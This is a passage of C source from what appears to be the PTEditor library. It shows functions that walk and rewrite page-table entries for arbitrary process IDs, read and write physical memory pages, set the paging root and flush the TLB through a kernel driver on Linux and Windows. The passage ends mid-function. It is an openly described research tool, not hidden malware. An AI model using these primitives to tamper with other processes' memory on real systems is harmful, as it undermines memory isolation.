999 | vm.pid = (size_t)pid; 1000 | #if defined(LINUX) 1001 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_RESOLVE, (size_t)&vm); 1002 | #else 1003 | NO_WINDOWS_SUPPORT; 1004 | #endif 1005 | return vm; 1006 | } 1007 | 1008 | // --------------------------------------------------------------------------- 1009 | typedef size_t(*ptedit_phys_read_t)(size_t); 1010 | typedef void(*ptedit_phys_write_t)(size_t, size_t); 1011 | 1012 | // --------------------------------------------------------------------------- 1013 | static inline size_t ptedit_phys_read_map(size_t address) { 1014 | return *(size_t*)(ptedit_vmem + address); 1015 | } 1016 | 1017 | // --------------------------------------------------------------------------- 1018 | static inline void ptedit_phys_write_map(size_t address, size_t value) { 1019 | *(size_t*)(ptedit_vmem + address) = value; 1020 | } 1021 | 1022 | // --------------------------------------------------------------------------- 1023 | static inline size_t ptedit_phys_read_pread(size_t address) { 1024 | size_t val = 0; 1025 | #if defined(LINUX) 1026 | if (pread(ptedit_umem, &val, sizeof(size_t), address) == -1) { 1027 | return val; 1028 | } 1029 | #else 1030 | ULONG returnLength; 1031 | DeviceIoControl(ptedit_fd, PTEDITOR_READ_PHYS_VAL, (LPVOID)&address, sizeof(address), (LPVOID)&val, sizeof(val), &returnLength, 0); 1032 | #endif 1033 | return val; 1034 | } 1035 | 1036 | // --------------------------------------------------------------------------- 1037 | static inline void ptedit_phys_write_pwrite(size_t address, size_t value) { 1038 | #if defined(LINUX) 1039 | if (pwrite(ptedit_umem, &value, sizeof(size_t), address) == -1) { 1040 | return; 1041 | } 1042 | #else 1043 | ULONG returnLength; 1044 | size_t info[2]; 1045 | info[0] = address; 1046 | info[1] = value; 1047 | DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PHYS_VAL, (LPVOID)&info, sizeof(info), (LPVOID)&info, sizeof(info), &returnLength, 0); 1048 | #endif 1049 | } 1050 | 1051 | // --------------------------------------------------------------------------- 1052 | static ptedit_entry_t ptedit_resolve_user_ext(void* address, pid_t pid, ptedit_phys_read_t deref) { 1053 | size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); 1054 | 1055 | int pgdi, p4di, pudi, pmdi, pti; 1056 | size_t addr = (size_t)address; 1057 | pgdi = (addr >> (ptedit_paging_definition.page_offset 1058 | + ptedit_paging_definition.pt_entries 1059 | + ptedit_paging_definition.pmd_entries 1060 | + ptedit_paging_definition.pud_entries 1061 | + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); 1062 | p4di = (addr >> (ptedit_paging_definition.page_offset 1063 | + ptedit_paging_definition.pt_entries 1064 | + ptedit_paging_definition.pmd_entries 1065 | + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); 1066 | pudi = (addr >> (ptedit_paging_definition.page_offset 1067 | + ptedit_paging_definition.pt_entries 1068 | + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); 1069 | pmdi = (addr >> (ptedit_paging_definition.page_offset 1070 | + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); 1071 | pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); 1072 | 1073 | ptedit_entry_t resolved; 1074 | memset(&resolved, 0, sizeof(resolved)); 1075 | resolved.vaddr = (size_t)address; 1076 | resolved.pid = (size_t)pid; 1077 | resolved.valid = 0; 1078 | 1079 | if(!root) return resolved; 1080 | 1081 | size_t pgd_entry, p4d_entry, pud_entry, pmd_entry, pt_entry; 1082 | 1083 | // printf("%zx + CR3(%zx) + PGDI(%zx) * 8 = %zx\n", ptedit_vmem, root, pgdi, ptedit_vmem + root + pgdi * sizeof(size_t)); 1084 | pgd_entry = deref(root + pgdi * sizeof(size_t)); 1085 | if (ptedit_cast(pgd_entry, ptedit_pgd_t).present != PTEDIT_PAGE_PRESENT) { 1086 | return resolved; 1087 | } 1088 | resolved.pgd = pgd_entry; 1089 | resolved.valid |= PTEDIT_VALID_MASK_PGD; 1090 | if (ptedit_paging_definition.has_p4d) { 1091 | size_t pfn = (size_t)(ptedit_cast(pgd_entry, ptedit_pgd_t).pfn); 1092 | p4d_entry = deref(pfn * ptedit_pagesize + p4di * sizeof(size_t)); 1093 | resolved.valid |= PTEDIT_VALID_MASK_P4D; 1094 | } 1095 | else { 1096 | p4d_entry = pgd_entry; 1097 | } 1098 | resolved.p4d = p4d_entry; 1099 | 1100 | if (ptedit_cast(p4d_entry, ptedit_p4d_t).present != PTEDIT_PAGE_PRESENT) { 1101 | return resolved; 1102 | } 1103 | 1104 | 1105 | if (ptedit_paging_definition.has_pud) { 1106 | size_t pfn = (size_t)(ptedit_cast(p4d_entry, ptedit_p4d_t).pfn); 1107 | pud_entry = deref(pfn * ptedit_pagesize + pudi * sizeof(size_t)); 1108 | resolved.valid |= PTEDIT_VALID_MASK_PUD; 1109 | } 1110 | else { 1111 | pud_entry = p4d_entry; 1112 | } 1113 | resolved.pud = pud_entry; 1114 | 1115 | if (ptedit_cast(pud_entry, ptedit_pud_t).present != PTEDIT_PAGE_PRESENT) { 1116 | return resolved; 1117 | } 1118 | 1119 | if (ptedit_paging_definition.has_pmd) { 1120 | size_t pfn = (size_t)(ptedit_cast(pud_entry, ptedit_pud_t).pfn); 1121 | pmd_entry = deref(pfn * ptedit_pagesize + pmdi * sizeof(size_t)); 1122 | resolved.valid |= PTEDIT_VALID_MASK_PMD; 1123 | } 1124 | else { 1125 | pmd_entry = pud_entry; 1126 | } 1127 | resolved.pmd = pmd_entry; 1128 | 1129 | if (ptedit_cast(pmd_entry, ptedit_pmd_t).present != PTEDIT_PAGE_PRESENT) { 1130 | return resolved; 1131 | } 1132 | 1133 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1134 | if (!ptedit_cast(pmd_entry, ptedit_pmd_t).size) { 1135 | #endif 1136 | // normal 4kb page 1137 | size_t pfn = (size_t)(ptedit_cast(pmd_entry, ptedit_pmd_t).pfn); 1138 | pt_entry = deref(pfn * ptedit_pagesize + pti * sizeof(size_t)); //pt[pti]; 1139 | resolved.pte = pt_entry; 1140 | resolved.valid |= PTEDIT_VALID_MASK_PTE; 1141 | if (ptedit_cast(pt_entry, ptedit_pte_t).present != PTEDIT_PAGE_PRESENT) { 1142 | return resolved; 1143 | } 1144 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1145 | } 1146 | #endif 1147 | return resolved; 1148 | } 1149 | 1150 | 1151 | // --------------------------------------------------------------------------- 1152 | static ptedit_entry_t ptedit_resolve_user(void* address, pid_t pid) { 1153 | return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_pread); 1154 | } 1155 | 1156 | 1157 | // --------------------------------------------------------------------------- 1158 | static ptedit_entry_t ptedit_resolve_user_map(void* address, pid_t pid) { 1159 | return ptedit_resolve_user_ext(address, pid, ptedit_phys_read_map); 1160 | } 1161 | 1162 | 1163 | // --------------------------------------------------------------------------- 1164 | ptedit_fnc void ptedit_update_kernel(void* address, pid_t pid, ptedit_entry_t* vm) { 1165 | vm->vaddr = (size_t)address; 1166 | vm->pid = (size_t)pid; 1167 | #if defined(LINUX) 1168 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_VM_UPDATE, (size_t)vm); 1169 | #else 1170 | NO_WINDOWS_SUPPORT 1171 | #endif 1172 | } 1173 | 1174 | // --------------------------------------------------------------------------- 1175 | ptedit_fnc void ptedit_update_user_ext(void* address, pid_t pid, ptedit_entry_t* vm, ptedit_phys_write_t pset) { 1176 | ptedit_entry_t current = ptedit_resolve(address, pid); 1177 | size_t root = (pid == 0) ? ptedit_paging_root : ptedit_get_paging_root(pid); 1178 | 1179 | if(!root) return; 1180 | 1181 | size_t pgdi, p4di, pudi, pmdi, pti; 1182 | size_t addr = (size_t)address; 1183 | pgdi = (addr >> (ptedit_paging_definition.page_offset 1184 | + ptedit_paging_definition.pt_entries 1185 | + ptedit_paging_definition.pmd_entries 1186 | + ptedit_paging_definition.pud_entries 1187 | + ptedit_paging_definition.p4d_entries)) % (1ull << ptedit_paging_definition.pgd_entries); 1188 | p4di = (addr >> (ptedit_paging_definition.page_offset 1189 | + ptedit_paging_definition.pt_entries 1190 | + ptedit_paging_definition.pmd_entries 1191 | + ptedit_paging_definition.pud_entries)) % (1ull << ptedit_paging_definition.p4d_entries); 1192 | pudi = (addr >> (ptedit_paging_definition.page_offset 1193 | + ptedit_paging_definition.pt_entries 1194 | + ptedit_paging_definition.pmd_entries)) % (1ull << ptedit_paging_definition.pud_entries); 1195 | pmdi = (addr >> (ptedit_paging_definition.page_offset 1196 | + ptedit_paging_definition.pt_entries)) % (1ull << ptedit_paging_definition.pmd_entries); 1197 | pti = (addr >> ptedit_paging_definition.page_offset) % (1ull << ptedit_paging_definition.pt_entries); 1198 | 1199 | if ((vm->valid & PTEDIT_VALID_MASK_PTE) && (current.valid & PTEDIT_VALID_MASK_PTE)) { 1200 | pset((size_t)ptedit_cast(current.pmd, ptedit_pmd_t).pfn * ptedit_pagesize + pti * (ptedit_pagesize / (1 << ptedit_paging_definition.pt_entries)), vm->pte); 1201 | } 1202 | if ((vm->valid & PTEDIT_VALID_MASK_PMD) && (current.valid & PTEDIT_VALID_MASK_PMD) && ptedit_paging_definition.has_pmd) { 1203 | pset((size_t)ptedit_cast(current.pud, ptedit_pud_t).pfn * ptedit_pagesize + pmdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pmd_entries)), vm->pmd); 1204 | } 1205 | if ((vm->valid & PTEDIT_VALID_MASK_PUD) && (current.valid & PTEDIT_VALID_MASK_PUD) && ptedit_paging_definition.has_pud) { 1206 | pset((size_t)ptedit_cast(current.p4d, ptedit_p4d_t).pfn * ptedit_pagesize + pudi * (ptedit_pagesize / (1 << ptedit_paging_definition.pud_entries)), vm->pud); 1207 | } 1208 | if ((vm->valid & PTEDIT_VALID_MASK_P4D) && (current.valid & PTEDIT_VALID_MASK_P4D) && ptedit_paging_definition.has_p4d) { 1209 | pset((size_t)ptedit_cast(current.pgd, ptedit_pgd_t).pfn * ptedit_pagesize + p4di * (ptedit_pagesize / (1 << ptedit_paging_definition.p4d_entries)), vm->p4d); 1210 | } 1211 | if ((vm->valid & PTEDIT_VALID_MASK_PGD) && (current.valid & PTEDIT_VALID_MASK_PGD) && ptedit_paging_definition.has_pgd) { 1212 | pset(root + pgdi * (ptedit_pagesize / (1 << ptedit_paging_definition.pgd_entries)), vm->pgd); 1213 | } 1214 | 1215 | ptedit_invalidate_tlb(address); 1216 | } 1217 | 1218 | // --------------------------------------------------------------------------- 1219 | static void ptedit_update_user(void* address, pid_t pid, ptedit_entry_t* vm) { 1220 | ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_pwrite); 1221 | ptedit_invalidate_tlb(address); 1222 | } 1223 | 1224 | 1225 | // --------------------------------------------------------------------------- 1226 | static void ptedit_update_user_map(void* address, pid_t pid, ptedit_entry_t* vm) { 1227 | ptedit_update_user_ext(address, pid, vm, ptedit_phys_write_map); 1228 | ptedit_invalidate_tlb(address); 1229 | } 1230 | 1231 | // --------------------------------------------------------------------------- 1232 | ptedit_fnc void* ptedit_pmap(size_t physical, size_t length) { 1233 | #if defined(LINUX) 1234 | char* m = (char*)mmap(0, length + (physical % ptedit_pagesize), PROT_READ | PROT_WRITE, MAP_SHARED, ptedit_umem, ((size_t)(physical / ptedit_pagesize)) * ptedit_pagesize); 1235 | return m + (physical % ptedit_pagesize); 1236 | #else 1237 | NO_WINDOWS_SUPPORT; 1238 | return NULL; 1239 | #endif 1240 | } 1241 | 1242 | // --------------------------------------------------------------------------- 1243 | ptedit_fnc size_t ptedit_set_pfn(size_t pte, size_t pfn) { 1244 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1245 | pte &= ~(((1ull << 40) - 1) << 12); 1246 | #elif defined(__aarch64__) 1247 | pte &= ~(((1ull << 36) - 1) << 12); 1248 | #endif 1249 | pte |= pfn << 12; 1250 | return pte; 1251 | } 1252 | 1253 | 1254 | // --------------------------------------------------------------------------- 1255 | ptedit_fnc size_t ptedit_get_pfn(size_t pte) { 1256 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1257 | return (pte & (((1ull << 40) - 1) << 12)) >> 12; 1258 | #elif defined(__aarch64__) 1259 | return (pte & (((1ull << 36) - 1) << 12)) >> 12; 1260 | #endif 1261 | } 1262 | 1263 | 1264 | // --------------------------------------------------------------------------- 1265 | #define PTEDIT_B(val, bit) (!!((val) & (1ull << (bit)))) 1266 | 1267 | #define PEDIT_PRINT_B(fmt, bit) \ 1268 | if ((bit)) { \ 1269 | printf(PTEDIT_COLOR_GREEN); \ 1270 | printf((fmt), (bit)); \ 1271 | printf(PTEDIT_COLOR_RESET); \ 1272 | } else { \ 1273 | printf((fmt), (bit)); \ 1274 | } \ 1275 | printf("|"); 1276 | 1277 | 1278 | // --------------------------------------------------------------------------- 1279 | ptedit_fnc void ptedit_print_entry_line(size_t entry, int line) { 1280 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1281 | if (line == 0 || line == 3) printf("+--+------------------+-+-+-+-+-+-+-+-+--+--+-+-+-+\n"); 1282 | if (line == 1) printf("|NX| PFN |H|?|?|?|G|S|D|A|UC|WT|U|W|P|\n"); 1283 | if (line == 2) { 1284 | printf("|"); 1285 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_NX)); 1286 | printf(" %16p |", (void*)((entry >> 12) & ((1ull << 40) - 1))); 1287 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PAT_LARGE)); 1288 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW3)); 1289 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW2)); 1290 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_SOFTW1)); 1291 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_GLOBAL)); 1292 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PSE)); 1293 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_DIRTY)); 1294 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_ACCESSED)); 1295 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PCD)); 1296 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PWT)); 1297 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_USER)); 1298 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_RW)); 1299 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, PTEDIT_PAGE_BIT_PRESENT)); 1300 | printf("\n"); 1301 | } 1302 | #elif defined(__aarch64__) 1303 | if (line == 0 || line == 3) { 1304 | printf("+--+--+--+---+-+--+------------------+--+-+-+-+--+---+-+\n"); 1305 | } 1306 | if (line == 1) { 1307 | printf("| ?| ?|XN|PXN|C| ?| PFN |NG|A|S|P|NS|MAI|T|\n"); 1308 | } 1309 | if (line == 2) { 1310 | printf("|"); 1311 | PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 63) << 4) | (PTEDIT_B(entry, 62) << 3) | (PTEDIT_B(entry, 61) << 2) | (PTEDIT_B(entry, 60) << 1) | PTEDIT_B(entry, 59)); 1312 | PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 58) << 3) | (PTEDIT_B(entry, 57) << 2) | (PTEDIT_B(entry, 56) << 1) | PTEDIT_B(entry, 55)); 1313 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 54)); 1314 | PEDIT_PRINT_B(" %d ", PTEDIT_B(entry, 53)); 1315 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, 52)); 1316 | PEDIT_PRINT_B("%2d", (PTEDIT_B(entry, 51) << 3) | (PTEDIT_B(entry, 50) << 2) | (PTEDIT_B(entry, 49) << 1) | PTEDIT_B(entry, 48)); 1317 | printf(" %16p |", (void*)((entry >> 12) & ((1ull << 36) - 1))); 1318 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 11)); 1319 | PEDIT_PRINT_B("%d", PTEDIT_B(entry, 10)); 1320 | PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 9) << 1) | PTEDIT_B(entry, 8)); 1321 | PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 7) << 1) | PTEDIT_B(entry, 6)); 1322 | PEDIT_PRINT_B(" %d", PTEDIT_B(entry, 5)); 1323 | PEDIT_PRINT_B(" %d ", (PTEDIT_B(entry, 4) << 2) | (PTEDIT_B(entry, 3) << 1) | PTEDIT_B(entry, 2)); 1324 | PEDIT_PRINT_B("%d", (PTEDIT_B(entry, 1) << 1) | PTEDIT_B(entry, 0)); 1325 | printf("\n"); 1326 | } 1327 | #endif 1328 | } 1329 | 1330 | 1331 | // --------------------------------------------------------------------------- 1332 | ptedit_fnc void ptedit_print_entry(size_t entry) { 1333 | int i = 0; 1334 | for (i = 0; i < 4; i++) { 1335 | ptedit_print_entry_line(entry, i); 1336 | } 1337 | } 1338 | 1339 | // --------------------------------------------------------------------------- 1340 | ptedit_fnc void ptedit_print_entry_t(ptedit_entry_t entry) { 1341 | if (entry.valid & PTEDIT_VALID_MASK_PGD) { 1342 | printf("PGD of address\n"); 1343 | ptedit_print_entry(entry.pgd); 1344 | } 1345 | if (entry.valid & PTEDIT_VALID_MASK_P4D) { 1346 | printf("P4D of address\n"); 1347 | ptedit_print_entry(entry.p4d); 1348 | } 1349 | if (entry.valid & PTEDIT_VALID_MASK_PUD) { 1350 | printf("PUD of address\n"); 1351 | ptedit_print_entry(entry.pud); 1352 | } 1353 | if (entry.valid & PTEDIT_VALID_MASK_PMD) { 1354 | printf("PMD of address\n"); 1355 | ptedit_print_entry(entry.pmd); 1356 | } 1357 | if (entry.valid & PTEDIT_VALID_MASK_PTE) { 1358 | printf("PTE of address\n"); 1359 | ptedit_print_entry(entry.pte); 1360 | } 1361 | } 1362 | 1363 | // --------------------------------------------------------------------------- 1364 | ptedit_fnc int ptedit_init() { 1365 | #if defined(LINUX) 1366 | ptedit_fd = open(PTEDITOR_DEVICE_PATH, O_RDONLY); 1367 | if (ptedit_fd < 0) { 1368 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %s\n", PTEDITOR_DEVICE_PATH); 1369 | return -1; 1370 | } 1371 | ptedit_umem = open("/proc/umem", O_RDWR); 1372 | #else 1373 | ptedit_fd = CreateFile(PTEDITOR_DEVICE_PATH, GENERIC_ALL, 0, 0, OPEN_EXISTING, FILE_ATTRIBUTE_SYSTEM, 0); 1374 | if (ptedit_fd == INVALID_HANDLE_VALUE) { 1375 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: Could not open PTEditor device: %ws\n", PTEDITOR_DEVICE_PATH); 1376 | return -1; 1377 | } 1378 | ptedit_umem = 0; 1379 | #endif 1380 | #if defined(LINUX) 1381 | ptedit_use_implementation(PTEDIT_IMPL_KERNEL); 1382 | #elif defined(WINDOWS) 1383 | ptedit_use_implementation(PTEDIT_IMPL_USER_PREAD); 1384 | #endif 1385 | // } 1386 | #if defined(LINUX) 1387 | ptedit_pagesize = getpagesize(); 1388 | #else 1389 | ptedit_pagesize = ptedit_get_pagesize(); 1390 | #endif 1391 | 1392 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1393 | ptedit_paging_definition.has_pgd = 1; 1394 | ptedit_paging_definition.has_p4d = 0; 1395 | ptedit_paging_definition.has_pud = 1; 1396 | ptedit_paging_definition.has_pmd = 1; 1397 | ptedit_paging_definition.has_pt = 1; 1398 | ptedit_paging_definition.pgd_entries = 9; 1399 | ptedit_paging_definition.p4d_entries = 0; 1400 | ptedit_paging_definition.pud_entries = 9; 1401 | ptedit_paging_definition.pmd_entries = 9; 1402 | ptedit_paging_definition.pt_entries = 9; 1403 | ptedit_paging_definition.page_offset = 12; 1404 | #elif defined(__aarch64__) 1405 | ptedit_paging_definition.has_pgd = 1; 1406 | ptedit_paging_definition.has_p4d = 0; 1407 | ptedit_paging_definition.has_pud = 0; 1408 | ptedit_paging_definition.has_pmd = 1; 1409 | ptedit_paging_definition.has_pt = 1; 1410 | ptedit_paging_definition.pgd_entries = 9; 1411 | ptedit_paging_definition.p4d_entries = 0; 1412 | ptedit_paging_definition.pud_entries = 0; 1413 | ptedit_paging_definition.pmd_entries = 9; 1414 | ptedit_paging_definition.pt_entries = 9; 1415 | ptedit_paging_definition.page_offset = 12; 1416 | #endif 1417 | return 0; 1418 | } 1419 | 1420 | 1421 | // --------------------------------------------------------------------------- 1422 | ptedit_fnc void ptedit_cleanup() { 1423 | #if defined(LINUX) 1424 | if (ptedit_fd >= 0) { 1425 | close(ptedit_fd); 1426 | } 1427 | if (ptedit_umem > 0) { 1428 | close(ptedit_umem); 1429 | } 1430 | #else 1431 | CloseHandle(ptedit_fd); 1432 | #endif 1433 | } 1434 | 1435 | 1436 | // --------------------------------------------------------------------------- 1437 | ptedit_fnc void ptedit_use_implementation(int implementation) { 1438 | if (implementation == PTEDIT_IMPL_KERNEL) { 1439 | #if defined(LINUX) 1440 | ptedit_resolve = ptedit_resolve_kernel; 1441 | ptedit_update = ptedit_update_kernel; 1442 | #else 1443 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); 1444 | #endif 1445 | } 1446 | else if (implementation == PTEDIT_IMPL_USER_PREAD) { 1447 | ptedit_resolve = ptedit_resolve_user; 1448 | ptedit_update = ptedit_update_user; 1449 | ptedit_paging_root = ptedit_get_paging_root(0); 1450 | } 1451 | else if (implementation == PTEDIT_IMPL_USER) { 1452 | #if defined(LINUX) 1453 | ptedit_resolve = ptedit_resolve_user_map; 1454 | ptedit_update = ptedit_update_user_map; 1455 | ptedit_paging_root = ptedit_get_paging_root(0); 1456 | if (!ptedit_vmem) { 1457 | ptedit_vmem = (unsigned char*)mmap(NULL, 32ull << 30ull, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_NORESERVE, ptedit_umem, 0); 1458 | fprintf(stderr, PTEDIT_COLOR_GREEN "[+]" PTEDIT_COLOR_RESET " Mapped physical memory to %p\n", ptedit_vmem); 1459 | } 1460 | #else 1461 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: PTEditor implementation not supported on Windows"); 1462 | #endif 1463 | } 1464 | else { 1465 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET " Error: PTEditor implementation not supported!\n"); 1466 | } 1467 | } 1468 | 1469 | 1470 | // --------------------------------------------------------------------------- 1471 | ptedit_fnc int ptedit_get_pagesize() { 1472 | #if defined(LINUX) 1473 | return (int)ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAGESIZE, 0); 1474 | #else 1475 | SYSTEM_INFO sysinfo; 1476 | GetSystemInfo(&sysinfo); 1477 | return sysinfo.dwPageSize; 1478 | #endif 1479 | } 1480 | 1481 | 1482 | // --------------------------------------------------------------------------- 1483 | ptedit_fnc void ptedit_read_physical_page(size_t pfn, char* buffer) { 1484 | #if defined(LINUX) 1485 | if (ptedit_umem > 0) { 1486 | if (pread(ptedit_umem, buffer, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { 1487 | return; 1488 | } 1489 | } 1490 | else { 1491 | ptedit_page_t page; 1492 | page.buffer = (unsigned char*)buffer; 1493 | page.pfn = pfn; 1494 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_READ_PAGE, (size_t)&page); 1495 | } 1496 | #else 1497 | DWORD returnLength; 1498 | pfn *= ptedit_pagesize; 1499 | DeviceIoControl(ptedit_fd, PTEDITOR_READ_PAGE, (LPVOID)&pfn, sizeof(pfn), (LPVOID)buffer, 4096, &returnLength, 0); 1500 | #endif 1501 | } 1502 | 1503 | 1504 | // --------------------------------------------------------------------------- 1505 | ptedit_fnc void ptedit_write_physical_page(size_t pfn, char* content) { 1506 | #if defined(LINUX) 1507 | if (ptedit_umem > 0) { 1508 | if (pwrite(ptedit_umem, content, ptedit_pagesize, pfn * ptedit_pagesize) == -1) { 1509 | return; 1510 | } 1511 | } 1512 | else { 1513 | ptedit_page_t page; 1514 | page.buffer = (unsigned char*)content; 1515 | page.pfn = pfn; 1516 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_WRITE_PAGE, (size_t)&page); 1517 | } 1518 | #else 1519 | DWORD returnLength; 1520 | ptedit_page_t page; 1521 | if (ptedit_pagesize != 4096) { 1522 | fprintf(stderr, PTEDIT_COLOR_RED "[-]" PTEDIT_COLOR_RESET "Error: page sizes other than 4096 not supported on Windows"); 1523 | return; 1524 | } 1525 | page.paddr = pfn * ptedit_pagesize; 1526 | memcpy(page.content, content, ptedit_pagesize); 1527 | DeviceIoControl(ptedit_fd, PTEDITOR_WRITE_PAGE, (LPVOID)&page, sizeof(ptedit_page_t), (LPVOID)&page, sizeof(ptedit_page_t), &returnLength, 0); 1528 | #endif 1529 | } 1530 | 1531 | 1532 | // --------------------------------------------------------------------------- 1533 | ptedit_fnc size_t ptedit_get_paging_root(pid_t pid) { 1534 | #if defined(LINUX) 1535 | ptedit_paging_t cr3; 1536 | cr3.pid = (size_t)pid; 1537 | cr3.root = 0; 1538 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_ROOT, (size_t)&cr3); 1539 | return cr3.root; 1540 | #else 1541 | size_t cr3 = 0; 1542 | DWORD returnLength; 1543 | if(!pid) pid = GetCurrentProcessId(); 1544 | DeviceIoControl(ptedit_fd, PTEDITOR_GET_CR3, (LPVOID)&pid, sizeof(pid), (LPVOID)&cr3, sizeof(cr3), &returnLength, 0); 1545 | return (cr3 & ~0xfff); 1546 | #endif 1547 | } 1548 | 1549 | 1550 | // --------------------------------------------------------------------------- 1551 | ptedit_fnc void ptedit_set_paging_root(pid_t pid, size_t root) { 1552 | ptedit_paging_t cr3; 1553 | cr3.pid = (size_t)pid; 1554 | cr3.root = root; 1555 | #if defined(LINUX) 1556 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SET_ROOT, (size_t)&cr3); 1557 | #else 1558 | DWORD returnLength; 1559 | if (!pid) pid = GetCurrentProcessId(); 1560 | size_t info[2]; 1561 | info[0] = pid; 1562 | info[1] = root; 1563 | DeviceIoControl(ptedit_fd, PTEDITOR_SET_CR3, (LPVOID)info, sizeof(info), (LPVOID)info, sizeof(info), &returnLength, 0); 1564 | #endif 1565 | } 1566 | 1567 | 1568 | // --------------------------------------------------------------------------- 1569 | ptedit_fnc void ptedit_invalidate_tlb(void* address) { 1570 | #if defined(LINUX) 1571 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_INVALIDATE_TLB, (size_t)address); 1572 | #else 1573 | size_t vaddr = (size_t)address; 1574 | DWORD returnLength; 1575 | DeviceIoControl(ptedit_fd, PTEDITOR_FLUSH_TLB, (LPVOID)&vaddr, sizeof(vaddr), (LPVOID)&vaddr, sizeof(vaddr), &returnLength, 0); 1576 | #endif 1577 | } 1578 | 1579 | // --------------------------------------------------------------------------- 1580 | ptedit_fnc int ptedit_switch_tlb_invalidation(int implementation) { 1581 | #if defined(LINUX) 1582 | return (int) ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_SWITCH_TLB_INVALIDATION, (size_t) implementation); 1583 | #else 1584 | NO_WINDOWS_SUPPORT 1585 | #endif 1586 | } 1587 | 1588 | 1589 | // --------------------------------------------------------------------------- 1590 | ptedit_fnc size_t ptedit_get_mts() { 1591 | size_t mt = 0; 1592 | #if defined(LINUX) 1593 | ioctl(ptedit_fd, PTEDITOR_IOCTL_CMD_GET_PAT, (size_t)&mt); 1594 | #else 1595 | DWORD returnLength; 1596 | DeviceIoControl(ptedit_fd, PTEDITOR_GET_PAT, (LPVOID)&mt, sizeof(mt), (LPVOID)&mt, sizeof(mt), &returnLength, 0); 1597 | #endif 1598 | return mt; 1599 | } 1600 | 1601 | 1602 | // --------------------------------------------------------------------------- 1603 | ptedit_fnc char ptedit_get_mt(unsigned char mt) { 1604 | size_t mts = ptedit_get_mts(); 1605 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1606 | return ((mts >> (mt * 8)) & 7); 1607 | #elif defined(__aarch64__) 1608 | return ((mts >> (mt * 8)) & 0xff); 1609 | #endif 1610 | } 1611 | 1612 | 1613 | // --------------------------------------------------------------------------- 1614 | ptedit_fnc const char* ptedit_mt_to_string(unsigned char mt) { 1615 | #if defined(__i386__) || defined(__x86_64__) || defined(_WIN64) 1616 | const char* mts[] = { "UC", "WC", "Rsvd", "Rsvd", "WT", "WP", "WB", "UC-", "Rsvd" }; 1617 | if (mt <= 7) return mts[mt]; 1618 | return NULL; 1619 | #elif defined(__aarch64__) 1620 | static char mts[16]; 1621 | int i; 1622 | mts[0] = 0; 1623 | for (i = 0; i < 2; i++) { 1624 | strcat(mts, i == 0 ? "I" : "O"); 1625 | if ((mt & 0xf) == ((mt >> 4) & 0xf)) strcpy(mts, ""); 1626 | switch ((mt >> (i * 4)) & 0xf) { 1627 | case 0: 1628 | strcat(mts, "DM"); 1629 | break; 1630 | case 1: /* Fall through */ 1631 | case 2: /* Fall through */ 1632 | case 3: 1633 | strcat(mts, "WT"); 1634 | break; 1635 | case 4: 1636 | 